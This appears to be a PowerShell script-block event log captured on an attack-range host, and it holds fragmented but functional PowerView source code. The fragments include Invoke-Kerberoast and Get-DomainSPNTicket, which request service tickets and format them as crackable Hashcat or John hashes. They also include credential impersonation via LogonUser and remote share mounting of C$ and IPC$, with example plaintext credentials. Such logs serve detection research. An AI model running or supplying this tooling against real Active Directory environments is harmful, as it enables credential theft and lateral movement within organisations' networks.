$krb5tgs$SPN/machine.testlab.local:63386d22d359fe... if ($OutputFormat -match 'John') { $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" } else { if ($DistinguishedName -ne 'UNKNOWN') { $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } else { $UserDomain = 'UNKNOWN' } # hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe... $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" } $Out | Add-Member Noteproperty 'Hash' $HashFormat } $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') $Out } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Invoke-Kerberoast { <# .SYNOPSIS Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. Author: Will Schroeder (@harmj0y), @machosec License: BSD 3-Clause Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket .DESCRIPTION Uses Get-DomainUser to query for user accounts with non-null service principle names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. The ticket format can be specified with -OutputFormat . .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER OutputFormat Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. Defaults to 'Hashcat'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Invoke-Kerberoast | fl Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default). .EXAMPLE Invoke-Kerberoast -Domain dev.testlab.local | fl Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR format instead of Hashcat. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce $Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. .OUTPUTS PowerView.SPNTicket Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.SPNTicket')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [ValidateSet('John', 'Hashcat')] [Alias('Format')] [String] $OutputFormat = 'Hashcat', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $UserSearcherArguments = @{ 'SPN' = $True 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' } if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-PathAcl { <# .SYNOPSIS Enumerates the ACL for a given file path. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID .DESCRIPTION Enumerates the ACL for a specified file/folder path, and translates the access rules for each entry into readable formats. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. .PARAMETER Path Specifies the local or remote path to enumerate the ACLs for. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target path. .EXAMPLE Get-PathAcl "\\SERVER\Share\" Returns ACLs for the given UNC share. .EXAMPLE gci .\test.txt | Get-PathAcl .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred .INPUTS String One of more paths to enumerate ACLs for. .OUTPUTS PowerView.FileACL A custom object with the full path and associated ACL entries. .LINK https://support.microsoft.com/en-us/kb/305144 #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.FileACL')] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('FullName')] [String[ ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997192 Keywords=None Message=Creating Scriptblock text (6 of 54): gnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True)] [Alias('GroupName', 'GroupIdentity')] [String] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) Add-Type -AssemblyName System.DirectoryServices.AccountManagement try { if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) { if ($Identity -match '.+\\.+') { # DOMAIN\groupname $ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical if ($ConvertedIdentity) { $ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/')) $ObjectIdentity = $Identity.Split('\')[1] Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'" } } else { $ObjectIdentity = $Identity Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'" $ConnectTarget = $Domain } if ($PSBoundParameters['Credential']) { Write-Verbose '[Get-PrincipalContext] Using alternate credentials' $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password) } else { $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget) } } else { if ($PSBoundParameters['Credential']) { Write-Verbose '[Get-PrincipalContext] Using alternate credentials' $DomainName = Get-Domain | Select-Object -ExpandProperty Name $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password) } else { $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain) } $ObjectIdentity = $Identity } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'Context' $Context $Out | Add-Member Noteproperty 'Identity' $ObjectIdentity $Out } catch { Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_" } } function Add-RemoteConnection { <# .SYNOPSIS Pseudo "mounts" a connection to a remote path using the specified credential object, allowing for access of remote resources. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect .DESCRIPTION This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the -Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path or -ComputerName. .PARAMETER ComputerName Specifies the system to add a \\ComputerName\IPC$ connection for. .PARAMETER Path Specifies the remote \\UNC\path to add the connection for. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .EXAMPLE $Cred = Get-Credential Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred .EXAMPLE $Cred = Get-Credential @('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred #> [CmdletBinding(DefaultParameterSetName = 'ComputerName')] Param( [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName, [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] [ValidatePattern('\\\\.*\\.*')] [String[]] $Path, [Parameter(Mandatory = $True)] [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential ) BEGIN { $NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW) $NetResourceInstance.dwType = 1 } PROCESS { $Paths = @() if ($PSBoundParameters['ComputerName']) { ForEach ($TargetComputerName in $ComputerName) { $TargetComputerName = $TargetComputerName.Trim('\') $Paths += ,"\\$TargetComputerName\IPC$" } } else { $Paths += ,$Path } ForEach ($TargetPath in $Paths) { $NetResourceInstance.lpRemoteName = $TargetPath Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath" # https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx # CONNECT_TEMPORARY = 4 $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4) if ($Result -eq 0) { Write-Verbose "$TargetPath successfully mounted" } else { Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" } } } } function Remove-RemoteConnection { <# .SYNOPSIS Destroys a connection created by New-RemoteConnection. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect .DESCRIPTION This function uses WNetCancelConnection2 to destroy a connection created by New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to 'unmount' \\$ComputerName\IPC$. .PARAMETER ComputerName Specifies the system to remove a \\ComputerName\IPC$ connection for. .PARAMETER Path Specifies the remote \\UNC\path to remove the connection for. .EXAMPLE Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local' .EXAMPLE Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' .EXAMPLE @('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding(DefaultParameterSetName = 'ComputerName')] Param( [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName, [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] [ValidatePattern('\\\\.*\\.*')] [String[]] $Path ) PROCESS { $Paths = @() if ($PSBoundParameters['ComputerName']) { ForEach ($TargetComputerName in $ComputerName) { $TargetComputerName = $TargetComputerName.Trim('\') $Paths += ,"\\$TargetComputerName\IPC$" } } else { $Paths += ,$Path } ForEach ($TargetPath in $Paths) { Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath" $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True) if ($Result -eq 0) { Write-Verbose "$TargetPath successfully ummounted" } else { Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" } } } } function Invoke-UserImpersonation { <# .SYNOPSIS Creates a new "runas /netonly" type logon and impersonates the token. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect .DESCRIPTION This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType to simulate "runas /netonly". The resulting token is then impersonated with ImpersonateLoggedOnUser() and the token handle is returned for later usage with Invoke-RevertToSelf. .PARAMETER Credential A [Management.Automation.PSCredential] object with alternate credentials to impersonate in the current thread space. .PARAMETER TokenHandle An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation. If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser() is executed. .PARAMETER Quiet Suppress any warnings about STA vs MTA. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Invoke-UserImpersonation -Credential $Cred .OUTPUTS IntPtr The TokenHandle result from LogonUser. #> [OutputType([IntPtr])] [CmdletBinding(DefaultParameterSetName = 'Credential')] Param( [Parameter(Mandatory = $True, ParameterSetName = 'Credential')] [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential, [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')] [ValidateNotNull()] [IntPtr] $TokenHandle, [Switch] $Quiet ) if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) { Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work." } if ($PSBoundParameters['TokenHandle']) { $LogonTokenHandle = $TokenHandle } else { $LogonTokenHandle = [IntPtr]::Zero $NetworkCredential = $Credential.GetNetworkCredential() $UserDomain = $NetworkCredential.Domain $UserName = $NetworkCredential.UserName Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)" # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3 # this is to simulate "runas.exe /netonly" functionality $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); if (-not $Result) { throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } } # actually impersonate the token from LogonUser() $Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle) if (-not $Result) { throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated" $LogonTokenHandle } function Invoke-RevertToSelf { <# .SYNOPSIS Reverts any token impersonation. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect .DESCRIPTION This function uses RevertToSelf() to revert any impersonated tokens. If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation), CloseHandle() is used to close the opened handle. .PARAMETER TokenHandle An optional IntPtr TokenHandle returned by Invoke-UserImpersonation. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $Token = Invoke-UserImpersonation -Credential $Cred Invoke-RevertToSelf -TokenHandle $Token #> [CmdletBinding()] Param( [ValidateNotNull()] [IntPtr] $TokenHandle ) if ($PSBoundParameters['TokenHandle']) { Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle" $Result = $Kernel32::CloseHandle($TokenHandle) } $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); if (-not $Result) { throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted" } function Get-DomainSPNTicket { <# .SYNOPSIS Request the kerberos ticket for a specified service principal name (SPN). Author: machosec, Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will either take one/more SPN strings, or one/more PowerView.User objects (the output from Get-DomainUser) and will request a kerberos ticket for the given SPN using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted portion of the ticket is then extracted and output in either crackable John or Hashcat format (deafult of Hashcat). .PARAMETER SPN Specifies the service principal name to request the ticket for. .PARAMETER User Spec ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997191 Keywords=None Message=Creating Scriptblock text (5 of 54): wart, Pasquale Lantella Modifications: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK) and translates Active Directory names between various formats using the NameTranslate COM object. .PARAMETER Identity Specifies the Active Directory object name to translate, of the following form: DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' NT4 domain\username; e.g., 'fabrikam\pflynn' Display display name, e.g. 'pflynn' DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' UPN user principal name; e.g., 'pflynn@fabrikam.com' CanonicalEx extended canonical name format SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999' .PARAMETER OutputType Specifies the output name type you want to convert to, which must be one of the following: DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' NT4 domain\username; e.g., 'fabrikam\pflynn' Display display name, e.g. 'pflynn' DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' UPN user principal name; e.g., 'pflynn@fabrikam.com' CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn' SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' .PARAMETER Domain Specifies the domain to use for the translation, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to for the translation. .PARAMETER Credential Specifies an alternate credential to use for the translation. .EXAMPLE Convert-ADName -Identity "TESTLAB\harmj0y" harmj0y@testlab.local .EXAMPLE "TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical testlab.local/Users/krbtgt testlab.local/Users/Administrator .EXAMPLE Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local CN=harmj0y,CN=Users,DC=testlab,DC=local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) 'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred TESTLAB\harmj0y .INPUTS String Accepts one or more objects name strings on the pipeline. .OUTPUTS String Outputs a string representing the converted name. .LINK http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67 #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [OutputType([String])] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name', 'ObjectName')] [String[]] $Identity, [String] [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')] $OutputType, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $NameTypes = @{ 'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com 'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn 'NT4' = 3 # fabrikam\pflynn 'Display' = 4 # pflynn 'DomainSimple' = 5 # pflynn@fabrikam.com 'EnterpriseSimple' = 6 # pflynn@fabrikam.com 'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436} 'Unknown' = 8 # unknown type - let the server do translation 'UPN' = 9 # pflynn@fabrikam.com 'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn 'SPN' = 11 # HTTP/kairomac.contoso.com 'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999 } # accessor functions from Bill Stewart to simplify calls to NameTranslate function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { $Output = $Null $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters) Write-Output $Output } function Get-Property([__ComObject] $Object, [String] $Property) { $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL) } function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters) } # https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx if ($PSBoundParameters['Server']) { $ADSInitType = 2 $InitName = $Server } elseif ($PSBoundParameters['Domain']) { $ADSInitType = 1 $InitName = $Domain } elseif ($PSBoundParameters['Credential']) { $Cred = $Credential.GetNetworkCredential() $ADSInitType = 1 $InitName = $Cred.Domain } else { # if no domain or server is specified, default to GC initialization $ADSInitType = 3 $InitName = $Null } } PROCESS { ForEach ($TargetIdentity in $Identity) { if (-not $PSBoundParameters['OutputType']) { if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") { $ADSOutputType = $NameTypes['DomainSimple'] } else { $ADSOutputType = $NameTypes['NT4'] } } else { $ADSOutputType = $NameTypes[$OutputType] } $Translate = New-Object -ComObject NameTranslate if ($PSBoundParameters['Credential']) { try { $Cred = $Credential.GetNetworkCredential() Invoke-Method $Translate 'InitEx' ( $ADSInitType, $InitName, $Cred.UserName, $Cred.Domain, $Cred.Password ) } catch { Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_" } } else { try { $Null = Invoke-Method $Translate 'Init' ( $ADSInitType, $InitName ) } catch { Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_" } } # always chase all referrals Set-Property $Translate 'ChaseReferral' (0x60) try { # 8 = Unknown name type -> let the server do the work for us $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity) Invoke-Method $Translate 'Get' ($ADSOutputType) } catch [System.Management.Automation.MethodInvocationException] { Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)" } } } } function ConvertFrom-UACValue { <# .SYNOPSIS Converts a UAC int value to human readable form. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION This function will take an integer that represents a User Account Control (UAC) binary blob and will covert it to an ordered dictionary with each bitwise value broken out. By default only values set are displayed- the -ShowAll switch will display all values with a + next to the ones set. .PARAMETER Value Specifies the integer UAC value to convert. .PARAMETER ShowAll Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set. .EXAMPLE ConvertFrom-UACValue -Value 66176 Name Value ---- ----- ENCRYPTED_TEXT_PWD_ALLOWED 128 NORMAL_ACCOUNT 512 DONT_EXPIRE_PASSWORD 65536 .EXAMPLE Get-DomainUser harmj0y | ConvertFrom-UACValue Name Value ---- ----- NORMAL_ACCOUNT 512 DONT_EXPIRE_PASSWORD 65536 .EXAMPLE Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll Name Value ---- ----- SCRIPT 1 ACCOUNTDISABLE 2 HOMEDIR_REQUIRED 8 LOCKOUT 16 PASSWD_NOTREQD 32 PASSWD_CANT_CHANGE 64 ENCRYPTED_TEXT_PWD_ALLOWED 128 TEMP_DUPLICATE_ACCOUNT 256 NORMAL_ACCOUNT 512+ INTERDOMAIN_TRUST_ACCOUNT 2048 WORKSTATION_TRUST_ACCOUNT 4096 SERVER_TRUST_ACCOUNT 8192 DONT_EXPIRE_PASSWORD 65536+ MNS_LOGON_ACCOUNT 131072 SMARTCARD_REQUIRED 262144 TRUSTED_FOR_DELEGATION 524288 NOT_DELEGATED 1048576 USE_DES_KEY_ONLY 2097152 DONT_REQ_PREAUTH 4194304 PASSWORD_EXPIRED 8388608 TRUSTED_TO_AUTH_FOR_DELEGATION 16777216 PARTIAL_SECRETS_ACCOUNT 67108864 .INPUTS Int Accepts an integer representing a UAC binary blob. .OUTPUTS System.Collections.Specialized.OrderedDictionary An ordered dictionary with the converted UAC fields. .LINK https://support.microsoft.com/en-us/kb/305144 #> [OutputType('System.Collections.Specialized.OrderedDictionary')] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('UAC', 'useraccountcontrol')] [Int] $Value, [Switch] $ShowAll ) BEGIN { # values from https://support.microsoft.com/en-us/kb/305144 $UACValues = New-Object System.Collections.Specialized.OrderedDictionary $UACValues.Add("SCRIPT", 1) $UACValues.Add("ACCOUNTDISABLE", 2) $UACValues.Add("HOMEDIR_REQUIRED", 8) $UACValues.Add("LOCKOUT", 16) $UACValues.Add("PASSWD_NOTREQD", 32) $UACValues.Add("PASSWD_CANT_CHANGE", 64) $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) $UACValues.Add("NORMAL_ACCOUNT", 512) $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) $UACValues.Add("MNS_LOGON_ACCOUNT", 131072) $UACValues.Add("SMARTCARD_REQUIRED", 262144) $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) $UACValues.Add("NOT_DELEGATED", 1048576) $UACValues.Add("USE_DES_KEY_ONLY", 2097152) $UACValues.Add("DONT_REQ_PREAUTH", 4194304) $UACValues.Add("PASSWORD_EXPIRED", 8388608) $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) } PROCESS { $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary if ($ShowAll) { ForEach ($UACValue in $UACValues.GetEnumerator()) { if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") } else { $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") } } } else { ForEach ($UACValue in $UACValues.GetEnumerator()) { if 